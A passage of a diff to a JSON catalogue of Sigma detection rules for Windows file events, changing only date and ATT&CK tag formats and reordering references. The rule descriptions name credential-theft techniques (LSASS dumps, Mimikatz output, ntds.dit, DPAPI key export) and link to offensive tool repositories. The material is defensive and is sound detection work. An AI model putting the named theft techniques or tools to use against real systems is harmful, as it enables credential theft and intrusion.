OneDrive application, the dropped malicious DLL file (\"iphlpapi.dll\") is sideloaded\n", "meta": { "author": "frack113", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Unknown" ], @@ -11866,8 +11902,8 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", - "attack.defense_evasion", + "attack.privilege-escalation", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -11887,7 +11923,7 @@ "description": "Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters.\nThis is used as an obfuscation and masquerading techniques. Only \"perfect\" homoglyphs are included; these are characters that\nare indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.\n", "meta": { "author": "Micah Babinski, @micahbabinski", - "creation_date": "2023/05/08", + "creation_date": "2023-05-08", "falsepositive": [ "File names with legitimate Cyrillic text. Will likely require tuning (or not be usable) in countries where these alphabets are in use." ], @@ -11901,7 +11937,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_homoglyph_filename.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1036.003" ] @@ -11929,7 +11965,7 @@ "description": "Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/06/27", + "creation_date": "2022-06-27", "falsepositive": [ "Unknown" ], @@ -11942,7 +11978,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -11962,7 +11998,7 @@ "description": "Detects programs on a Windows system that should not write executables to disk", "meta": { "author": "frack113, Florian Roth (Nextron Systems)", - "creation_date": "2022/08/21", + "creation_date": "2022-08-21", "falsepositive": [ "Unknown" ], @@ -11975,7 +12011,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_exe.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -11995,7 +12031,7 @@ "description": "Detects creation of a file named \"ntds.dit\" (Active Directory Database) by an uncommon process or a process located in a suspicious directory", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "Unknown" ], @@ -12009,7 +12045,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_process.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.003" ] @@ -12037,7 +12073,7 @@ "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -12050,7 +12086,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1546.002" ] }, @@ -12070,7 +12106,7 @@ "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/25", + "creation_date": "2022-02-25", "falsepositive": [ "Unknown" ], @@ -12083,7 +12119,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190", "attack.persistence", "attack.t1505.003" @@ -12112,7 +12148,7 @@ "description": "Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.).\nIt is highly recommended to perform an initial baseline before using this rule in production.\n", "meta": { "author": "Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/05/26", + "creation_date": "2020-05-26", "falsepositive": [ "System processes copied outside their default folders for testing purposes", "Third party software naming their software with the same names as the processes mentioned here" @@ -12126,7 +12162,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.005" ] }, @@ -12146,7 +12182,7 @@ "description": "Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.", "meta": { "author": "SecurityAura", - "creation_date": "2022/11/16", + "creation_date": "2022-11-16", "falsepositive": [ "Unknown" ], @@ -12155,12 +12191,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py", "https://github.com/Porchetta-Industries/CrackMapExec", + "https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_remote_cred_dump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003" ] }, @@ -12180,7 +12216,7 @@ "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -12193,8 +12229,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -12214,7 +12250,7 @@ "description": "Detects creation of files with the \".pub\" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/08", + "creation_date": "2023-02-08", "falsepositive": [ "Legitimate usage of \".pub\" files from those locations" ], @@ -12227,7 +12263,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_publisher_files_in_susp_locations.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "3d2a2d59-929c-4b78-8c1a-145dfe9e07b1", @@ -12237,7 +12273,7 @@ "description": "Detects PowerShell creating a binary executable or a script file.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/17", + "creation_date": "2023-03-17", "falsepositive": [ "False positives will differ depending on the environment and scripts used. Apply additional filters accordingly." ], @@ -12260,7 +12296,7 @@ "description": "Detects Windows shells and scripting applications that write files to suspicious folders", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/20", + "creation_date": "2021-11-20", "falsepositive": [ "Unknown" ], @@ -12293,7 +12329,7 @@ "description": "Detects the creation of a file with an uncommon extension in an Office application startup folder", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/05", + "creation_date": "2022-06-05", "falsepositive": [ "False positive might stem from rare extensions used by other Office utilities." ], @@ -12302,14 +12338,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", "https://answers.microsoft.com/en-us/msoffice/forum/all/document-in-word-startup-folder-doesnt-open-when/44ab0932-2917-4150-8cdc-2f2cf39e86f3", - "http://addbalance.com/word/startup.htm", "https://en.wikipedia.org/wiki/List_of_Microsoft_Office_filename_extensions", + "http://addbalance.com/word/startup.htm", + "https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_uncommon_file_startup.yml" ], "tags": [ - "attack.resource_development", + "attack.resource-development", "attack.t1587.001" ] }, @@ -12329,7 +12365,7 @@ "description": "Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates.\n", "meta": { "author": "Nounou Mbeiri, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/26", + "creation_date": "2024-06-26", "falsepositive": [ "Unlikely" ], @@ -12338,8 +12374,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.Common/Data/DPAPI/DPAPIBackupKey.cs#L28-L32", "https://www.dsinternals.com/en/dpapi-backup-key-theft-auditing/", + "https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.Common/Data/DPAPI/DPAPIBackupKey.cs#L28-L32", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dpapi_backup_and_cert_export_ioc.yml" ], "tags": [ @@ -12370,7 +12406,7 @@ "description": "Detects the creation of files created by mimikatz such as \".kirbi\", \"mimilsa.log\", etc.", "meta": { "author": "Florian Roth (Nextron Systems), David ANDRE", - "creation_date": "2021/11/08", + "creation_date": "2021-11-08", "falsepositive": [ "Unlikely" ], @@ -12379,12 +12415,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", "https://cobalt.io/blog/kerberoast-attack-techniques", + "https://pentestlab.blog/2019/10/21/persistence-security-support-provider/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_mimikatz_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558" ] }, @@ -12404,7 +12440,7 @@ "description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/06/10", + "creation_date": "2022-06-10", "falsepositive": [ "Possible FPs during first installation of Notepad++", "Legitimate use of custom plugins by users in order to enhance notepad++ functionalities" @@ -12428,7 +12464,7 @@ "description": "Detects the creation of known offensive powershell scripts used for exploitation", "meta": { "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems), Mustafa Kaan Demir, Georg Lauenstein", - "creation_date": "2018/04/07", + "creation_date": "2018-04-07", "falsepositive": [ "Unknown" ], @@ -12437,26 +12473,26 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/PowerShellMafia/PowerSploit", "https://github.com/DarkCoderSc/PowerRunAsSystem/", "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://github.com/Kevin-Robertson/Powermad", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/AlsidOfficial/WSUSpendu/", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/besimorhino/powercat", + "https://github.com/adrecon/ADRecon", "https://github.com/CsEnox/EventViewer-UACBypass", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/samratashok/nishang", - "https://github.com/HarmJ0y/DAMP", - "https://github.com/adrecon/AzureADRecon", - "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://github.com/NetSPI/PowerUpSQL", "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/adrecon/ADRecon", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", "https://github.com/nettitude/Invoke-PowerThIEf", - "https://github.com/besimorhino/powercat", - "https://github.com/AlsidOfficial/WSUSpendu/", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/Kevin-Robertson/Powermad", - "https://github.com/NetSPI/PowerUpSQL", "https://github.com/S3cur3Th1sSh1t/WinPwn", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/HarmJ0y/DAMP", + "https://github.com/adrecon/AzureADRecon", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://github.com/PowerShellMafia/PowerSploit", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" ], "tags": [ @@ -12480,7 +12516,7 @@ "description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", "meta": { "author": "frack113", - "creation_date": "2022/01/09", + "creation_date": "2022-01-09", "falsepositive": [ "Unknown" ], @@ -12493,7 +12529,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.004" ] }, @@ -12513,7 +12549,7 @@ "description": "Detects the creation of an \"lsass.dmp\" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/10/19", + "creation_date": "2023-10-19", "falsepositive": [ "Rare case of troubleshooting by an administrator or support that has to be investigated regardless" ], @@ -12526,7 +12562,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_taskmgr_lsass_dump.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -12546,7 +12582,7 @@ "description": "Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/21", + "creation_date": "2023-01-21", "falsepositive": [ "Unlikely" ], @@ -12555,13 +12591,13 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/davisrichardg/status/1616518800584704028", "https://aboutdfir.com/the-key-to-identify-psexec/", + "https://twitter.com/davisrichardg/status/1616518800584704028", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_psexec_service_key.yml" ], "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", + "attack.lateral-movement", + "attack.privilege-escalation", "attack.execution", "attack.persistence", "attack.t1136.002", @@ -12600,7 +12636,7 @@ "description": "Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/15", + "creation_date": "2021-11-15", "falsepositive": [ "Unknown" ], @@ -12609,16 +12645,16 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://www.google.com/search?q=procdump+lsass", - "https://github.com/helpsystems/nanodump", - "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml", - "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", + "https://github.com/helpsystems/nanodump", "https://github.com/CCob/MirrorDump", + "https://www.google.com/search?q=procdump+lsass", + "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/", + "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_default_dump_file_names.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.001" ] }, @@ -12638,7 +12674,7 @@ "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -12651,8 +12687,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -12672,7 +12708,7 @@ "description": "Detects the creation of tasks from processes executed from suspicious locations", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/16", + "creation_date": "2021-11-16", "falsepositive": [ "Unknown" ], @@ -12706,7 +12742,7 @@ "description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks.\nThis can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.\n", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/11", + "creation_date": "2022-02-11", "falsepositive": [ "Cases in which a user mounts an image file for legitimate reasons" ], @@ -12715,14 +12751,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", - "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/", + "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/", + "https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1566.001" ] }, @@ -12742,7 +12778,7 @@ "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\nAdversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n", "meta": { "author": "frack113", - "creation_date": "2021/12/30", + "creation_date": "2021-12-30", "falsepositive": [ "Unknown" ], @@ -12775,7 +12811,7 @@ "description": "Detects the creation or modification of the Windows Terminal Profile settings file \"settings.json\" by an uncommon process.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/22", + "creation_date": "2023-07-22", "falsepositive": [ "Some false positives may occur with admin scripts that set WT settings." ], @@ -12784,8 +12820,8 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1547.015/T1547.015.md#atomic-test-1---persistence-by-modifying-windows-terminal-profile", "https://twitter.com/nas_bench/status/1550836225652686848", + "https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1547.015/T1547.015.md#atomic-test-1---persistence-by-modifying-windows-terminal-profile", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_windows_terminal_profile.yml" ], "tags": [ @@ -12809,7 +12845,7 @@ "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", "meta": { "author": "elhoim", - "creation_date": "2022/04/28", + "creation_date": "2022-04-28", "falsepositive": [ "Unknown" ], @@ -12823,7 +12859,7 @@ ], "tags": [ "attack.t1036.005", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -12842,7 +12878,7 @@ "description": "Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an \".SCR\" file using \"rundll32.exe desk.cpl,InstallScreenSaver\" for example.", "meta": { "author": "Christopher Peacock @securepeacock, SCYTHE @scythe_io", - "creation_date": "2022/04/27", + "creation_date": "2022-04-27", "falsepositive": [ "The installation of new screen savers by third party software" ], @@ -12855,7 +12891,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_scr_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -12875,7 +12911,7 @@ "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -12890,7 +12926,7 @@ "tags": [ "attack.execution", "attack.t1047", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.002" ] }, @@ -12917,7 +12953,7 @@ "description": "Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.", "meta": { "author": "frack113", - "creation_date": "2023/05/09", + "creation_date": "2023-05-09", "falsepositive": [ "False positives will differ depending on the environment and scripts used. Apply additional filters accordingly." ], @@ -12940,7 +12976,7 @@ "description": "Detects the creation of a new PowerShell module in the first folder of the module directory structure \"\\WindowsPowerShell\\Modules\\malware\\malware.psm1\". This is somewhat an uncommon practice as legitimate modules often includes a version folder.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/09", + "creation_date": "2023-05-09", "falsepositive": [ "False positive rate will vary depending on the environments. Additional filters might be required to make this logic usable in production." ], @@ -12964,7 +13000,7 @@ "description": "Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.", "meta": { "author": "Beyu Denis, oscd.community, Tim Shelton, Thurein Oo", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Legitimate administrator or developer creating legitimate executable files in a web application folder" ], @@ -12998,7 +13034,7 @@ "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", "meta": { "author": "Antonio Cocomazzi (idea), Florian Roth (Nextron Systems)", - "creation_date": "2022/04/27", + "creation_date": "2022-04-27", "falsepositive": [ "Unknown" ], @@ -13007,14 +13043,14 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", "https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute", "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", - "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" + "attack.defense-evasion", + "attack.privilege-escalation" ] }, "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", @@ -13024,7 +13060,7 @@ "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", "meta": { "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", - "creation_date": "2020/03/19", + "creation_date": "2020-03-19", "falsepositive": [ "Operations performed through Windows SCCM or equivalent", "Read only access list authority" @@ -13058,7 +13094,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate use" ], @@ -13071,7 +13107,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_artefact.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -13091,7 +13127,7 @@ "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", "meta": { "author": "HieuTT35, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "System administrator creating Powershell profile manually" ], @@ -13106,7 +13142,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.013" ] }, @@ -13126,7 +13162,7 @@ "description": "Detects the creation of a new Outlook form which can contain malicious code", "meta": { "author": "Tobias Michalski (Nextron Systems)", - "creation_date": "2021/06/10", + "creation_date": "2021-06-10", "falsepositive": [ "Legitimate use of outlook forms" ], @@ -13135,10 +13171,10 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79", "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=76", - "https://www.slipstick.com/developer/custom-form/clean-outlooks-forms-cache/", "https://learn.microsoft.com/en-us/office/vba/outlook/concepts/outlook-forms/create-an-outlook-form", - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=79", + "https://www.slipstick.com/developer/custom-form/clean-outlooks-forms-cache/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_outlook_newform.yml" ], "tags": [ @@ -13162,7 +13198,7 @@ "description": "Detects Rclone config files being created", "meta": { "author": "Aaron Greetham (@beardofbinary) - NCC Group", - "creation_date": "2021/05/26", + "creation_date": "2021-05-26", "falsepositive": [ "Legitimate Rclone usage" ], @@ -13195,7 +13231,7 @@ "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut.\nIf the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder.\nAdditionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.\n", "meta": { "author": "Greg (rule)", - "creation_date": "2022/07/21", + "creation_date": "2022-07-21", "falsepositive": [ "Unknown" ], @@ -13228,7 +13264,7 @@ "description": "Detects default CSExec service filename which indicates CSExec service installation and execution", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/04", + "creation_date": "2023-08-04", "falsepositive": [ "Unknown" ], @@ -13262,7 +13298,7 @@ "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", + "creation_date": "2020-05-02", "falsepositive": [ "System administrators managing certificates." ], @@ -13271,12 +13307,12 @@ "logsource.category": "file_event", "logsource.product": "windows", "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md", "https://github.com/OTRF/detection-hackathon-apt29/issues/14", + "https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.004" ] }, @@ -13296,7 +13332,7 @@ "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -13309,8 +13345,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -13330,7 +13366,7 @@ "description": "Detects Octopus Scanner Malware.", "meta": { "author": "NVISO", - "creation_date": "2020/06/09", + "creation_date": "2020-06-09", "falsepositive": [ "Unknown" ], @@ -13370,7 +13406,7 @@ "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", "meta": { "author": "Samir Bousseaden", - "creation_date": "2019/02/21", + "creation_date": "2019-02-21", "falsepositive": [ "Unlikely" ], @@ -13383,7 +13419,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -13403,7 +13439,7 @@ "description": "Detects the creation of a file with the \".dll\" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of \"System32\", \"SysWOW64\", etc.).\nIt is highly recommended to perform an initial baseline before using this rule in production.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/24", + "creation_date": "2024-06-24", "falsepositive": [ "Third party software might bundle specific versions of system DLLs." ], @@ -13416,7 